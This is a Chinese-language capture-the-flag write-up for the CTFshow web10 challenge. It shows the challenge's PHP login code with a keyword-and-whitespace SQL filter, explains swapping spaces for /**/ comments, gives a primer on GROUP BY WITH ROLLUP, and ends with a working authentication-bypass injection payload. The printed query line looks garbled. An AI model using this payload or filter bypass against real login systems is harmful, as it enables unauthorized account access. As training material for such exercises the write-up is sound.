CTFSHOW_WEB10

POC

点击取消即可获得源码

<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = 'admin'/**/of/**/'1'='1'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

接着代码审计可知,题目会过滤空格,这很简单,用/**/就可以代替空格

接着下面出现了另一个关键点,即$password = $row['password'],可是我们并不能知道password的是多少,但是可以去制造一个假的row[’password'],便可以得到flag

EXP

SQL ROLLUP简介

ROLLUPGROUP BY子句的扩展。 ROLLUP选项允许包含表示小计的额外行,通常称为超级聚合行,以及总计行。 通过使用ROLLUP选项,可以使用单个查询生成多个分组集

注意,分组集是一组用于分组的列。 例如,一个由仓库返回库存的查询,分组集是(warehouse)。

SELECT
    warehouse, 
    SUM(quantity) qty
FROM
    inventory
GROUP BY
    warehouse;

SQL

有关GROUPING SETS的更多信息,请查看分组集教程

以下是SQL ROLLUP的基本语法:

SELECT 
    c1, c2, aggregate_function(c3)
FROM
    table
GROUP BY ROLLUP (c1, c2);

SQL

ROLLUP假定输入列之间存在层次结构。 例如,如果输入列是(c1,c2),则层次结构c1> c2ROLLUP生成考虑此层次结构有意义的所有分组集。 这就是为什么我们经常使用ROLLUP来生成小计和总计以用于报告目的。

在上面的语法中,ROLLUP(c1,c2)生成以下三个分组集:

(c1,c2)
(c1)
()

SQL

Oracle,Microsoft SQL Server和PostgreSQL支持此语法。 但是,MySQL的语法略有不同,如下所示:

SELECT 
    c1, c2, aggregate_function(c3)
FROM
    table_name
GROUP BY c1, c2 WITH ROLLUP;

使用witch group by就可以构造出这样的payload:admin'/**/or/**/true/**/group/**/by/**/password/**/with/**/rollup/**/#